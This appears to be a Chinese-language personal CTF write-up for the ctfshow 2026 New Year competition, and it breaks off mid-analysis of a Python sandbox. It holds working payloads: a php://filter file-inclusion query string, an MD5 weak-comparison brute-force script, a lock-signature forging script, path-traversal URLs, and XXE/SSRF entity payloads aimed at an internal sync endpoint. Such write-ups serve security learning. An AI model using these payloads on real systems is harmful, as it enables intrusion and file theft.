ctfshow2026跨年赛个人wp
ctfshow2026跨年赛个人wp
CTF部分
1 热身签到(密码)
54515552545455515456547055555566545654495548554855575370515051485150515453705555545755525456537054515551515051485150515450495568- 每4位数字一组
- 每 4 位数字拆成两个两位数
- 转为字符(得到 hex 字符串)
- 将该 hex 字符串解析为字节
- 转为 ASCII 字符
解密脚本如下:
CIPHER = (
"54515552545455515456547055555566545654495548554855575370"
"51505148515051545370555554575552545653705451555151505148"
"5150515450495568"
)
HEX_CHARS = set("0123456789ABCDEF")
def decode_block(block):
if len(block) != 4 or not block.isdigit():
raise ValueError(f"Bad block: {block!r}")
a = chr(int(block[:2]))
c = chr(int(block[2:]))
if a not in HEX_CHARS or c not in HEX_CHARS:
raise ValueError(f"Bad hex nibble chars from block {block!r}: {a!r}{c!r}")
b = int(a + c, 16)
if not (0x20 <= b <= 0x7E):
raise ValueError(f"Decoded to non-printable ASCII: {b}")
return chr(b)
def decode(cipher):
if len(cipher) % 4 != 0:
raise ValueError("Cipher length must be multiple of 4.")
return "".join(decode_block(cipher[i:i+4]) for i in range(0, len(cipher), 4))
if __name__ == "__main__":
print(decode(CIPHER))2 HappySong
二进制,只有两种节拍
全部转换为字符即可
3 Happy2026
<?php
error_reporting(0);
highlight_file(__FILE__);
$happy = $_GET['happy'];
$new = $_GET['new'];
$year = $_GET['year'];
if($year == 2026 && $year != 2026 && is_numeric($year)){
include $happy[$new[$year]];
}
?>这里的中括号乍一看让人觉得没思路,执行不了命令啊,但是可以把中括号当作参数的一部分,以数组的形式传入,这样通过两次拼接即可实现文件包含
首先进行is_numeric绕过,用2026.0进行绕过,刚好满足所有条件
接着构造new[2026.0]=a
happy[a]=php://filter/read=convert.base64-encode/resource=flag.php
完整payload:
?year=2026.0&new[2026.0]=a&happy[a]=php://filter/read=convert.base64-encode/resource=flag.php
4 HappyEmoji
没打出来,wp引自zs1994师傅
5 SafePIN
录制0-9的音频,仔细对比就可以找到正确的pin,也可以自己写脚本去判断
6 SafeLock
开题,我们直接使用默认卡刷卡试试
设备ID不匹配,看右上角发现设备ID,修改
日志区给出了nonce,修改
后面的打法有两种
解法1:因为sig值不知道,并且是4位,猜测应该是数字加字母的组合,直接爆破,(可以先尝试纯数字和纯字母,以及16进制)这题是4位16进制,官方给出的源码也能证明,黑盒的话比较难搞
爆破后得到sig,显示不处于工厂模式,我们再看源代码,当电量耗尽后重启后会进入工厂模式,再次进行爆破,得到flag
解法2:
结合官方给出的源码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CTFSHOW CS2026 - NFC Smart Lock (Official Full Auto Solve)
Author: h1xa
Full flow (stable):
1) GET /api/challenge -> nonce
2) POST /api/power mains_on=false (cut mains, switch to battery)
3) POST /api/verify wrong card 20 times (drain battery to 0, device offline)
4) POST /api/power mains_on=true (restore mains, triggers FACTORY_RESET_OK, nonce rotates)
5) GET /api/challenge -> new nonce
6) Compute correct sig with salt=123456 and POST /api/verify -> print flag
"""
from __future__ import annotations
import argparse
import sys
import time
from typing import Any, Dict
import requests
DEVICE_ID = "LOCK-X36D"
FACTORY_SALT = "123456"
ROLE = "admin"
DRAIN_PER_SWIPE = 5
DRAIN_TIMES = 100 // DRAIN_PER_SWIPE # 20
def crc16_ccitt_false(data: bytes) -> int:
crc = 0xFFFF
for b in data:
crc ^= (b << 8)
for _ in range(8):
if crc & 0x8000:
crc = ((crc << 1) ^ 0x1021) & 0xFFFF
else:
crc = (crc << 1) & 0xFFFF
return crc & 0xFFFF
def calc_sig(device_id: str, nonce: str, salt: str, role: str) -> str:
msg = f"{device_id}|{nonce}|{salt}|{role}".encode("utf-8")
return f"{crc16_ccitt_false(msg):04X}"
def session_no_proxy() -> requests.Session:
s = requests.Session()
s.trust_env = False
s.proxies = {"http": None, "https": None}
return s
def get_json(s: requests.Session, url: str, **kw) -> Dict[str, Any]:
r = s.get(url, timeout=10, **kw)
r.raise_for_status()
return r.json()
def post_json(s: requests.Session, url: str, payload: Dict[str, Any]) -> Dict[str, Any]:
r = s.post(url, json=payload, timeout=10)
try:
data = r.json()
except Exception:
raise RuntimeError(f"Bad JSON response (HTTP {r.status_code}): {r.text[:200]}")
return data, r.status_code
def api_challenge(base: str, s: requests.Session) -> Dict[str, Any]:
return get_json(s, base.rstrip("/") + "/api/challenge")
def api_power(base: str, s: requests.Session, mains_on: bool) -> Dict[str, Any]:
data, code = post_json(s, base.rstrip("/") + "/api/power", {"mains_on": mains_on})
if code >= 400 or not data.get("ok"):
raise RuntimeError(f"/api/power failed: HTTP {code}, body={data}")
return data
def api_verify(base: str, s: requests.Session, card_payload: Dict[str, Any], lock_nonce: str) -> Dict[str, Any]:
data, code = post_json(
s,
base.rstrip("/") + "/api/verify",
{"card_payload": card_payload, "lock_nonce": lock_nonce},
)
data["_http"] = code
return data
def pick_nonce(ch: Dict[str, Any]) -> str:
st = ch.get("state") or {}
nonce = st.get("nonce") or ch.get("nonce")
if not nonce:
raise RuntimeError("nonce missing in /api/challenge response")
return str(nonce)
def main() -> int:
ap = argparse.ArgumentParser(description="CTFSHOW NFC smart lock full auto solve")
ap.add_argument("--base", default="http://127.0.0.1:5000", help="Challenge base URL")
ap.add_argument("--sleep", type=float, default=0.0, help="sleep between drain swipes (seconds)")
ap.add_argument("--verbose", action="store_true", help="print progress and server events")
args = ap.parse_args()
s = session_no_proxy()
base = args.base
def vprint(*a):
if args.verbose:
print(*a, file=sys.stderr)
ch1 = api_challenge(base, s)
nonce1 = pick_nonce(ch1)
vprint(f"[*] nonce (initial): {nonce1}")
p1 = api_power(base, s, mains_on=False)
vprint("[*] power off events:", p1.get("events", []))
st = p1.get("state") or {}
vprint(f"[*] state after power off: mains_on={st.get('mains_on')} battery={st.get('battery')} powered={st.get('powered')}")
wrong_card = {
"device_id": DEVICE_ID,
"nonce": nonce1,
"sig": "0000",
"role": ROLE
}
offline_reached = False
for i in range(1, DRAIN_TIMES + 1):
res = api_verify(base, s, wrong_card, lock_nonce=nonce1)
st = res.get("state") or {}
reason = res.get("reason")
events = res.get("events", [])
vprint(f"[*] drain {i:02d}/{DRAIN_TIMES}: http={res.get('_http')} battery={st.get('battery')} powered={st.get('powered')} reason={reason} events={events}")
if reason == "OFFLINE" or st.get("powered") is False:
offline_reached = True
break
if args.sleep > 0:
time.sleep(args.sleep)
if not offline_reached:
vprint("[!] battery drain loop finished but device not offline yet; continuing anyway...")
p2 = api_power(base, s, mains_on=True)
vprint("[*] power on events:", p2.get("events", []))
st2 = p2.get("state") or {}
vprint(f"[*] state after power on: mains_on={st2.get('mains_on')} battery={st2.get('battery')} powered={st2.get('powered')} factory_mode={st2.get('factory_mode')} nonce={st2.get('nonce')}")
ch2 = api_challenge(base, s)
nonce2 = pick_nonce(ch2)
vprint(f"[*] nonce (after reset): {nonce2}")
sig = calc_sig(DEVICE_ID, nonce2, FACTORY_SALT, ROLE)
card = {"device_id": DEVICE_ID, "nonce": nonce2, "sig": sig, "role": ROLE}
vprint("[*] computed sig:", sig)
final = api_verify(base, s, card, lock_nonce=nonce2)
if final.get("ok") and final.get("flag"):
print(final["flag"])
return 0
print(f"[!] unlock failed: {final}", file=sys.stderr)
return 2
if __name__ == "__main__":
raise SystemExit(main())
进入工厂模式后,系统的安全防御会发生以下降级:
- Salt(盐值)重置:原本复杂的自定义盐值会被重置为简单的默认值
123456。 - Nonce 更新:系统会生成一个新的
nonce。 - 签名可预测:因为
device_id是公开的(LOCK-X36D),salt是固定的(123456),nonce是刚获取的,你就可以在本地用脚本计算出合法的管理员签名:
Sig=CRC16("LOCK−X36D∣new_nonce∣123456∣admin")
本地计算即可
7 SafePassword
源码如下
<?php
declare(strict_types=1);
session_start();
include "flag.php";
include "config.php";
const USER_NOT_FOUND = 2000;
const USER_DISABLED = 2003;
const CHANNEL_INVALID = 2007;
const CHANNEL_EXPIRED = 2011;
const CHANNEL_BLOCKED = 2017;
const VERIFY_FAILED = 2025;
const RATE_LIMITED = 2033;
const PERMISSION_DENIED = 2048;
const STATE_CONFLICT = 2064;
const LENGTH_ERROR = 0x52C0FE;
const ERROR_CODES = [
USER_NOT_FOUND,
USER_DISABLED,
CHANNEL_INVALID,
CHANNEL_EXPIRED,
CHANNEL_BLOCKED,
VERIFY_FAILED,
RATE_LIMITED,
PERMISSION_DENIED,
STATE_CONFLICT,
LENGTH_ERROR,
];
function ensureCsrf(): string
{
if (!isset($_SESSION['csrf']) || !is_string($_SESSION['csrf']) || $_SESSION['csrf'] === '') {
$_SESSION['csrf'] = bin2hex(random_bytes(16));
}
return $_SESSION['csrf'];
}
function requirePostCsrf(): void
{
$csrf = $_POST['csrf'] ?? '';
if (!is_string($csrf) || !isset($_SESSION['csrf']) || !is_string($_SESSION['csrf']) || !hash_equals($_SESSION['csrf'], $csrf)) {
http_response_code(400);
exit('Bad CSRF');
}
}
function h(string $s): string
{
return htmlspecialchars($s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
function isLoggedIn(): bool
{
return isset($_SESSION['authed']) && $_SESSION['authed'] === true;
}
function inErrorCodes(int $code): bool
{
return in_array($code, ERROR_CODES, true);
}
function buildExpectedHash($channelKey): string
{
try{
if (!preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', $channelKey) && strlen($channelKey) < 64) {
return md5('ctfshow:' . $channelKey . ':verify' . $secret_salt);
}else{
throw new RuntimeException('', LENGTH_ERROR);
}
}catch(Throwable $e){
throw new RuntimeException('', VERIFY_FAILED);
}
}
function pickErrorCode(Throwable $e): int
{
$code = (int)$e->getCode();
if (inErrorCodes($code)) {
return $code;
}
$idx = abs((int)crc32(get_class($e) . '|' . $e->getMessage())) % count(ERROR_CODES);
return ERROR_CODES[$idx];
}
function getExpectedHash($channelKey)
{
try {
return buildExpectedHash($channelKey);
} catch (Throwable $e) {
return pickErrorCode($e);
}
}
$flash = '';
$flashType = 'info';
$action = $_POST['action'] ?? ($_GET['action'] ?? '');
if (!is_string($action)) {
$action = '';
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if ($action === 'login') {
requirePostCsrf();
$accessKey = $_POST['access_key'] ?? '';
$channelKey = $_POST['channel_key'] ?? '';
$expected = getExpectedHash($channelKey);
if (md5($accessKey) == $expected) {
$_SESSION['authed'] = true;
$flash = '验证通过:已解锁资料权限。';
$flashType = 'ok';
} else {
$_SESSION['authed'] = false;
$flash = '验证失败:请检查访问密钥。';
$flashType = 'err';
}
} elseif ($action === 'logout') {
requirePostCsrf();
$_SESSION = [];
if (ini_get('session.use_cookies')) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000, $params['path'], $params['domain'], (bool)$params['secure'], (bool)$params['httponly']);
}
session_destroy();
session_start();
$flash = '已退出。';
$flashType = 'info';
}
}
$csrf = ensureCsrf();
$flagText = '请先登陆';
if (isLoggedIn()) {
if (isset($flag) && is_string($flag) && $flag !== '') {
$flagText = $flag;
} else {
$flagText = '';
}
}
$templatePath = __DIR__ . '/template.html';
if (!is_file($templatePath)) {
http_response_code(500);
exit('Template missing');
}
$html = file_get_contents($templatePath);
if ($html === false) {
http_response_code(500);
exit('Template read error');
}
$authed = isLoggedIn();
echo strtr($html, [
'{{CSRF}}' => h($csrf),
'{{AUTHED}}' => $authed ? '1' : '0',
'{{FLAG}}' => $authed ? h($flagText) : '',
'{{FLASH_TYPE}}' => h($flashType),
'{{FLASH_MSG}}' => h($flash),
]);
关键代码在这里:
if (md5($accessKey) == $expected) {
$_SESSION['authed'] = true;
$flash = '验证通过:已解锁资料权限。';
$flashType = 'ok';
}这里用了弱比较,很可能就是漏洞点(事实确实是)
跟进expected变量:
$expected = getExpectedHash($channelKey);跟进getExpectedHash方法:
function getExpectedHash($channelKey)
{
try {
return buildExpectedHash($channelKey);
} catch (Throwable $e) {
return pickErrorCode($e);
}
}跟进buildExpectedHash方法:
function buildExpectedHash($channelKey): string
{
try{
if (!preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', $channelKey) && strlen($channelKey) < 64) {
return md5('ctfshow:' . $channelKey . ':verify' . $secret_salt);
}else{
throw new RuntimeException('', LENGTH_ERROR);
}
}catch(Throwable $e){
throw new RuntimeException('', VERIFY_FAILED);
}
}到这里就明朗了,因为$secret_salt我们不知道,所以利用else分支:
返回VERIFY_FAILED,值得注意的是,VERIFY_FAILED在前面的代码中已经被修改为2025这个整数了
那思路就很明确了,让md5($accessKey)的前四位为2025,第五位不是数字即可
需要注意的是,在php8后,数字与字符串的弱比较规则发生更改,在php8后,解释器会将数字转换为字符串进行比较,较旧的解释器则会截断后面的非数字部分,使得弱比较成立,这里的php版本小于8,所以能打通
那我们只要写个脚本爆破即可:
import hashlib
target = "2025"
i = 0
while True:
s = str(i)
res = hashlib.md5(s.encode()).hexdigest()
if res.startswith(target):
if not res[len(target)].isdigit():
print(f"找到 Key: {s}")
print(f"MD5 结果: {res}")
break
i += 1
if i > 1000000: # 安全限制
break为了让$expected返回2025,我们可以构造一个长度大于等于64的字符串,从而满足所有条件,得到flag
8 问卷调查
略
AWDP攻击部分
前三题公用一个环境,整体逻辑流程图如下(来自h1xa师傅):
1 SafeViewer
一个简单的目录穿越,可以浏览任意文件(非当前服务器)
https://4a70e79e-c0e2-415a-a9ce-b65fb74eafc0.challenge.ctf.show/api/v1/artifacts?path=/&filename=我们查看app.py的代码
import os
import zipfile
from flask import Flask, request, Response, jsonify
app = Flask(__name__)
DATA_DIR = os.environ.get("B_DATA_DIR", "/tmp/b_data")
os.makedirs(DATA_DIR, exist_ok=True)
def _safe_join(base: str, p: str) -> str:
return os.path.join(base, p)
#恭喜你,拿到SafeViewer的FLAG ctfshow{21afe5f9839175d79e0adbcb9d7f2198}
@app.get("/internal/file")
def internal_file():
path = request.args.get("path", "docxTemplates")
filename = request.args.get("filename", "")
target_dir = _safe_join(DATA_DIR, path)
if filename:
fp = os.path.join(target_dir, filename)
try:
with open(fp, "rb") as f:
return Response(f.read(), content_type="application/octet-stream")
except Exception:
return Response("NOT_FOUND", status=404)
try:
items = []
for n in sorted(os.listdir(target_dir)):
p = os.path.join(target_dir, n)
items.append({"name": n, "is_dir": os.path.isdir(p)})
return jsonify({"path": path, "items": items})
except Exception:
return jsonify({"path": path, "items": []})
@app.get("/render")
def render_xml():
content = request.args.get("content", "Hello")
author = request.args.get("author", "Anonymous")
hide = request.args.get("hide", "0")
xml = f'''<?xml version="1.0"?>
<!-- post by {author} -->
<doc>
<content>{content}</content>
<hide>{hide}</hide>
</doc>
'''
return Response(xml, content_type="text/xml; charset=utf-8")
#处理SafeViewer服务器的http://viewer:5000/ops/sync接口 过来的数据同步请求
@app.post("/internal/upload")
def internal_upload():
dest_path = "docxTemplates"
if "file" not in request.files:
return _err("NO_FILE")
f = request.files["file"]
if not f or not f.filename:
return _err("BAD_FILE")
base_dir = os.path.join("/app/", dest_path)
os.makedirs(base_dir, exist_ok=True)
zip_path = os.path.join(base_dir, "src.zip")
try:
f.save(zip_path)
except Exception:
return _err("SAVE_FAILED")
try:
with zipfile.ZipFile(zip_path, "r") as z:
z.extractall(base_dir)
except Exception:
return _err("UNZIP_FAILED")
finally:
try:
os.remove(zip_path)
except Exception:
pass
return jsonify({"ok": True, "path": dest_path})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5001,debug=False)恭喜你,拿到SafeViewer的FLAG ctfshow{21afe5f9839175d79e0adbcb9d7f2198}2 SafeRender
和上一题一样的环境
接着利用目录穿越
https://4a70e79e-c0e2-415a-a9ce-b65fb74eafc0.challenge.ctf.show/api/v1/artifacts?path=/var/log/nginx&filename=access.log看看日志里面有什么
可以看到这里有个create路由,是我们新建文档时的操作
证明了viewer侧的create路由与render侧能够互相通信
回看之前的代码:
@app.get("/render")
def render_xml():
content = request.args.get("content", "Hello")
author = request.args.get("author", "Anonymous")
hide = request.args.get("hide", "0")
xml = f'''<?xml version="1.0"?>
<!-- post by {author} -->
<doc>
<content>{content}</content>
<hide>{hide}</hide>
</doc>
'''
return Response(xml, content_type="text/xml; charset=utf-8")直接打xxe,提前闭合标签,构造ssrf访问 SafeViewer服务器的http://viewer:5000/ops/sync接口
author:
--><!DOCTYPE doc [<!ENTITY xxe SYSTEM 'http://viewer:5000/ops/sync'>]><!--
content 设置为:
&xxe;再次利用之前的文件读取,查看接口传回的数据
4a70e79e-c0e2-415a-a9ce-b65fb74eafc0.challenge.ctf.show/api/v1/artifacts?path=/app/docxTemplates&filename=flag.txt3 SafeAdmin
xxe加文件读取组合拳
flag在viewer侧的根目录下,名字是galf。。。(想不到,真的想不到)
author:
--><!DOCTYPE doc [<!ENTITY xxe SYSTEM
'http://viewer:5000/ops/sync?path=/galf'>]><!--
content:
&xxe;viewer 把 文件上 传 到 render 的 /internal/upload交由render 解压到到 /app/docxTemplates/。
再去通过api接口读取文件即可
ctfshow{12ba5dc41b7c76a8aac352d12e3c5d9d}
4 SafePythonJail
app.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Copyright (c) CTF.SHOW (ctf.show)
Author: h1xa
Organization: https://ctf.show
"""
# app.py
import os
import time
import secrets
import ast
from dataclasses import dataclass
from typing import Dict, Any
from flask import Flask, request, jsonify, make_response, render_template
from engine import Engine, NonceStore
from sanitizer import (
parse_eval_expr,
sanitize_strict,
prune_for_verify,
prune_for_exec,
canonicalize_for_signing,
Reject,
)
app = Flask(__name__)
NONCE_TTL = int(os.getenv("NONCE_TTL", "30"))
SESSION_TTL = int(os.getenv("SESSION_TTL", "1800"))
PORT = int(os.getenv("PORT", "5000"))
HOST = os.getenv("HOST", "0.0.0.0")
engine = Engine("./secret.txt")
nonces = NonceStore(ttl_seconds=NONCE_TTL)
@dataclass
class SessionState:
stage: int
updated_at: float
_sessions: Dict[str, SessionState] = {}
def _now() -> float:
return time.time()
def _get_sid() -> str:
sid = request.cookies.get("sid", "")
if not sid or len(sid) < 16:
sid = secrets.token_urlsafe(18)
return sid
def _get_state(sid: str) -> SessionState:
now = _now()
st = _sessions.get(sid)
if st is None or (now - st.updated_at) > SESSION_TTL:
st = SessionState(stage=0, updated_at=now)
_sessions[sid] = st
if len(_sessions) > 5000:
cutoff = now - SESSION_TTL
dead = [k for k, v in _sessions.items() if v.updated_at < cutoff]
for k in dead[:2000]:
_sessions.pop(k, None)
return st
def _touch(st: SessionState) -> None:
st.updated_at = _now()
class Obj:
def __init__(self, **kw):
for k, v in kw.items():
setattr(self, k, v)
def build_context(stage: int) -> Dict[str, Any]:
user = Obj(vip=False, level=1, age=18)
req = Obj(path_id=stage, method_id=1)
device = Obj(score=60, risk=3)
return {"user": user, "req": req, "device": device}
def safe_eval_expr(expr_node: ast.AST, stage: int) -> bool:
safe_globals = {"__builtins__": {}}
safe_locals = build_context(stage)
code = compile(ast.Expression(body=expr_node), "<rule>", "eval")
return bool(eval(code, safe_globals, safe_locals))
@app.get("/")
def index():
sid = _get_sid()
st = _get_state(sid)
_touch(st)
try:
resp = make_response(render_template("index.html", stage=st.stage))
except Exception:
resp = make_response("OK\n", 200)
resp.headers["Content-Type"] = "text/plain; charset=utf-8"
resp.set_cookie("sid", sid, httponly=True, samesite="Lax")
return resp
@app.get("/flag")
def flag():
sid = _get_sid()
st = _get_state(sid)
if st.stage > 1000:
#本题flag格式为 ctfshow{xxxxxxxxxxxxxxx}
resp = make_response(render_template("flag.html", flag="flag{welcome_2o_cs_2026}"))
else:
resp = make_response("OK\n", 200)
return resp
@app.get("/status")
def status():
sid = _get_sid()
st = _get_state(sid)
_touch(st)
resp = jsonify({"ok": True, "stage": st.stage})
resp.set_cookie("sid", sid, httponly=True, samesite="Lax")
return resp
@app.post("/prepare")
def prepare():
sid = _get_sid()
st = _get_state(sid)
_touch(st)
payload = request.form.get("payload", "")
t0 = time.perf_counter()
try:
raw = parse_eval_expr(payload)
clean = sanitize_strict(raw)
canonical = canonicalize_for_signing(clean)
nonce, ttl = nonces.issue()
sig = engine.sign(nonce, canonical)
ms = int((time.perf_counter() - t0) * 1000)
resp = jsonify({"ok": True, "code": "OK", "nonce": nonce, "ttl": ttl, "sig": sig, "stage": st.stage, "time_ms": ms})
except Reject:
ms = int((time.perf_counter() - t0) * 1000)
resp = jsonify({"ok": False, "code": "REJECT", "stage": st.stage, "time_ms": ms})
except Exception:
ms = int((time.perf_counter() - t0) * 1000)
resp = jsonify({"ok": False, "code": "ERROR", "stage": st.stage, "time_ms": ms})
resp.set_cookie("sid", sid, httponly=True, samesite="Lax")
return resp
@app.post("/execute")
def execute():
sid = _get_sid()
st = _get_state(sid)
_touch(st)
payload = request.form.get("payload", "")
nonce = request.form.get("nonce", "")
sig = request.form.get("sig", "")
t0 = time.perf_counter()
nr = nonces.consume(nonce)
if not nr.ok:
ms = int((time.perf_counter() - t0) * 1000)
resp = jsonify({"ok": False, "code": nr.code, "stage": st.stage, "time_ms": ms})
resp.set_cookie("sid", sid, httponly=True, samesite="Lax")
return resp
try:
raw = parse_eval_expr(payload)
verify_view = prune_for_verify(raw)
clean_for_verify = sanitize_strict(verify_view)
canonical = canonicalize_for_signing(clean_for_verify)
if not engine.verify(nonce, canonical, sig):
ms = int((time.perf_counter() - t0) * 1000)
resp = jsonify({"ok": False, "code": "SIG_BAD", "stage": st.stage, "time_ms": ms})
resp.set_cookie("sid", sid, httponly=True, samesite="Lax")
return resp
exec_tree = prune_for_exec(raw)
decision = safe_eval_expr(exec_tree, st.stage)
advanced = False
if decision:
st.stage += 1
advanced = True
ms = int((time.perf_counter() - t0) * 1000)
resp = jsonify({"ok": True, "code": "ADVANCED" if advanced else "HOLD", "stage": st.stage, "time_ms": ms})
except Reject:
ms = int((time.perf_counter() - t0) * 1000)
resp = jsonify({"ok": False, "code": "REJECT", "stage": st.stage, "time_ms": ms})
except Exception:
ms = int((time.perf_counter() - t0) * 1000)
resp = jsonify({"ok": False, "code": "ERROR", "stage": st.stage, "time_ms": ms})
resp.set_cookie("sid", sid, httponly=True, samesite="Lax")
return resp
if __name__ == "__main__":
app.run(host=HOST, port=PORT, debug=False)
sanitizer.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Copyright (c) CTF.SHOW (ctf.show)
Author: h1xa
Organization: https://ctf.show
"""
# sanitizer.py
import ast
from dataclasses import dataclass
from typing import Any
from engine import Policy, DEFAULT_POLICY
class Reject(Exception):
pass
def _depth(node: ast.AST) -> int:
kids = list(ast.iter_child_nodes(node))
if not kids:
return 1
return 1 + max(_depth(k) for k in kids)
def _count(node: ast.AST) -> int:
return sum(1 for _ in ast.walk(node))
def parse_eval_expr(payload: str) -> ast.AST:
try:
tree = ast.parse(payload, mode="eval")
except Exception as e:
raise Reject("PARSE") from e
return tree.body
def sanitize_strict(node: ast.AST, policy: Policy = DEFAULT_POLICY) -> ast.AST:
if _depth(node) > policy.max_depth or _count(node) > policy.max_nodes:
raise Reject("TOO_COMPLEX")
clean = _sanitize_node_strict(node, policy)
ast.fix_missing_locations(clean)
return clean
def _sanitize_node_strict(node: ast.AST, policy: Policy) -> ast.AST:
if isinstance(node, ast.Constant):
if isinstance(node.value, (bool, int)):
return ast.Constant(value=node.value)
raise Reject("BAD_CONST")
if isinstance(node, ast.Name):
if isinstance(node.ctx, ast.Load) and node.id in policy.allowed_names:
return ast.Name(id=node.id, ctx=ast.Load())
raise Reject("BAD_NAME")
if isinstance(node, ast.Attribute):
base = _sanitize_node_strict(node.value, policy)
if not isinstance(base, ast.Name):
raise Reject("ATTR_BASE")
obj = base.id
if obj not in policy.allowed_attrs or node.attr not in policy.allowed_attrs[obj]:
raise Reject("ATTR_FIELD")
return ast.Attribute(value=base, attr=node.attr, ctx=ast.Load())
if isinstance(node, ast.Compare):
left = _sanitize_node_strict(node.left, policy)
for op in node.ops:
if not isinstance(op, (ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE)):
raise Reject("BAD_CMP_OP")
comps = [_sanitize_node_strict(c, policy) for c in node.comparators]
return ast.Compare(left=left, ops=node.ops, comparators=comps)
if isinstance(node, ast.BoolOp):
if not isinstance(node.op, (ast.And, ast.Or)):
raise Reject("BAD_BOOL_OP")
vals = [_sanitize_node_strict(v, policy) for v in node.values]
return ast.BoolOp(op=node.op, values=vals)
if isinstance(node, ast.UnaryOp):
if isinstance(node.op, ast.Not):
operand = _sanitize_node_strict(node.operand, policy)
return ast.UnaryOp(op=ast.Not(), operand=operand)
raise Reject("BAD_UNARY")
if isinstance(node, (ast.Call, ast.Subscript, ast.Lambda, ast.NamedExpr,
ast.JoinedStr, ast.FormattedValue,
ast.List, ast.Tuple, ast.Set, ast.Dict,
ast.ListComp, ast.SetComp, ast.DictComp, ast.GeneratorExp)):
raise Reject("FORBIDDEN_NODE")
raise Reject("FORBIDDEN")
def prune_for_verify(node: ast.AST, policy: Policy = DEFAULT_POLICY) -> ast.AST:
if _depth(node) > policy.max_depth or _count(node) > policy.max_nodes:
return ast.Constant(value=False)
out = _prune_node_verify(node, policy)
ast.fix_missing_locations(out)
return out
def prune_for_exec(node: ast.AST, policy: Policy = DEFAULT_POLICY) -> ast.AST:
if _depth(node) > policy.max_depth or _count(node) > policy.max_nodes:
return ast.Constant(value=False)
out = _prune_node_exec(node, policy)
ast.fix_missing_locations(out)
return out
def _prune_name(node: ast.Name, policy: Policy) -> ast.AST:
if isinstance(node.ctx, ast.Load) and node.id in policy.allowed_names:
return ast.Name(id=node.id, ctx=ast.Load())
return ast.Constant(value=False)
def _prune_attr(node: ast.Attribute, policy: Policy, rec) -> ast.AST:
base = rec(node.value, policy)
if isinstance(base, ast.Name):
obj = base.id
if obj in policy.allowed_attrs and node.attr in policy.allowed_attrs[obj]:
return ast.Attribute(value=base, attr=node.attr, ctx=ast.Load())
return ast.Constant(value=False)
def _prune_compare(node: ast.Compare, policy: Policy, rec) -> ast.AST:
left = rec(node.left, policy)
ok_ops = all(isinstance(op, (ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE)) for op in node.ops)
comps = [rec(c, policy) for c in node.comparators]
if ok_ops:
return ast.Compare(left=left, ops=node.ops, comparators=comps)
return ast.Constant(value=False)
def _prune_boolop(node: ast.BoolOp, policy: Policy, rec) -> ast.AST:
if not isinstance(node.op, (ast.And, ast.Or)):
return ast.Constant(value=False)
vals = [rec(v, policy) for v in node.values]
return ast.BoolOp(op=node.op, values=vals)
def _prune_node_verify(node: ast.AST, policy: Policy) -> ast.AST:
if isinstance(node, ast.Constant):
if isinstance(node.value, (bool, int)):
return ast.Constant(value=node.value)
return ast.Constant(value=False)
if isinstance(node, ast.Name):
return _prune_name(node, policy)
if isinstance(node, ast.Attribute):
return _prune_attr(node, policy, _prune_node_verify)
if isinstance(node, ast.Compare):
return _prune_compare(node, policy, _prune_node_verify)
if isinstance(node, ast.BoolOp):
return _prune_boolop(node, policy, _prune_node_verify)
if isinstance(node, ast.UnaryOp) and isinstance(node.op, ast.Not):
operand = _prune_node_verify(node.operand, policy)
return ast.UnaryOp(op=ast.Not(), operand=operand)
if isinstance(node, ast.Call):
return ast.Constant(value=False)
return ast.Constant(value=False)
def _prune_node_exec(node: ast.AST, policy: Policy) -> ast.AST:
if isinstance(node, ast.Constant):
if isinstance(node.value, (bool, int)):
return ast.Constant(value=node.value)
return ast.Constant(value=False)
if isinstance(node, ast.Name):
return _prune_name(node, policy)
if isinstance(node, ast.Attribute):
return _prune_attr(node, policy, _prune_node_exec)
if isinstance(node, ast.Compare):
return _prune_compare(node, policy, _prune_node_exec)
if isinstance(node, ast.BoolOp):
return _prune_boolop(node, policy, _prune_node_exec)
if isinstance(node, ast.UnaryOp) and isinstance(node.op, ast.Not):
operand = _prune_node_exec(node.operand, policy)
return ast.UnaryOp(op=ast.Not(), operand=node.operand)
if isinstance(node, ast.Call):
return ast.Constant(value=False)
return ast.Constant(value=False)
def canonicalize_for_signing(node: ast.AST) -> str:
return _canon(node)
def _canon(node: ast.AST) -> str:
if isinstance(node, ast.Constant):
if isinstance(node.value, bool):
return "T" if node.value else "F"
return f"I{int(node.value)}"
if isinstance(node, ast.Name):
return f"N:{node.id}"
if isinstance(node, ast.Attribute):
if isinstance(node.value, ast.Name):
return f"A:{node.value.id}.{node.attr}"
return "A:<?>"
if isinstance(node, ast.Compare):
ops = [op.__class__.__name__ for op in node.ops]
comps = ",".join(_canon(c) for c in node.comparators)
return f"C({_canon(node.left)}|{','.join(ops)}|{comps})"
if isinstance(node, ast.BoolOp):
op = "AND" if isinstance(node.op, ast.And) else "OR"
vals = ",".join(_canon(v) for v in node.values)
return f"B({op}|{vals})"
if isinstance(node, ast.UnaryOp) and isinstance(node.op, ast.Not):
return "NOT(*)"
return "<?>"
我们先代码审计,找到漏洞点
app.post("/prepare")
def prepare():
sid = _get_sid()
st = _get_state(sid)
_touch(st)
payload = request.form.get("payload", "")
t0 = time.perf_counter()
try:
raw = parse_eval_expr(payload)
clean = sanitize_strict(raw)
canonical = canonicalize_for_signing(clean)
nonce, ttl = nonces.issue()
sig = engine.sign(nonce, canonical)
ms = int((time.perf_counter() - t0) * 1000)
resp = jsonify({"ok": True, "code": "OK", "nonce": nonce, "ttl": ttl, "sig": sig, "stage": st.stage, "time_ms": ms})
except Reject:
ms = int((time.perf_counter() - t0) * 1000)
resp = jsonify({"ok": False, "code": "REJECT", "stage": st.stage, "time_ms": ms})
except Exception:
ms = int((time.perf_counter() - t0) * 1000)
resp = jsonify({"ok": False, "code": "ERROR", "stage": st.stage, "time_ms": ms})
resp.set_cookie("sid", sid, httponly=True, samesite="Lax")
return respcanonical = canonicalize_for_signing(clean)这一句是关键,我们跟进这个方法
def canonicalize_for_signing(node: ast.AST) -> str:
return _canon(node)
def _canon(node: ast.AST) -> str:
if isinstance(node, ast.Constant):
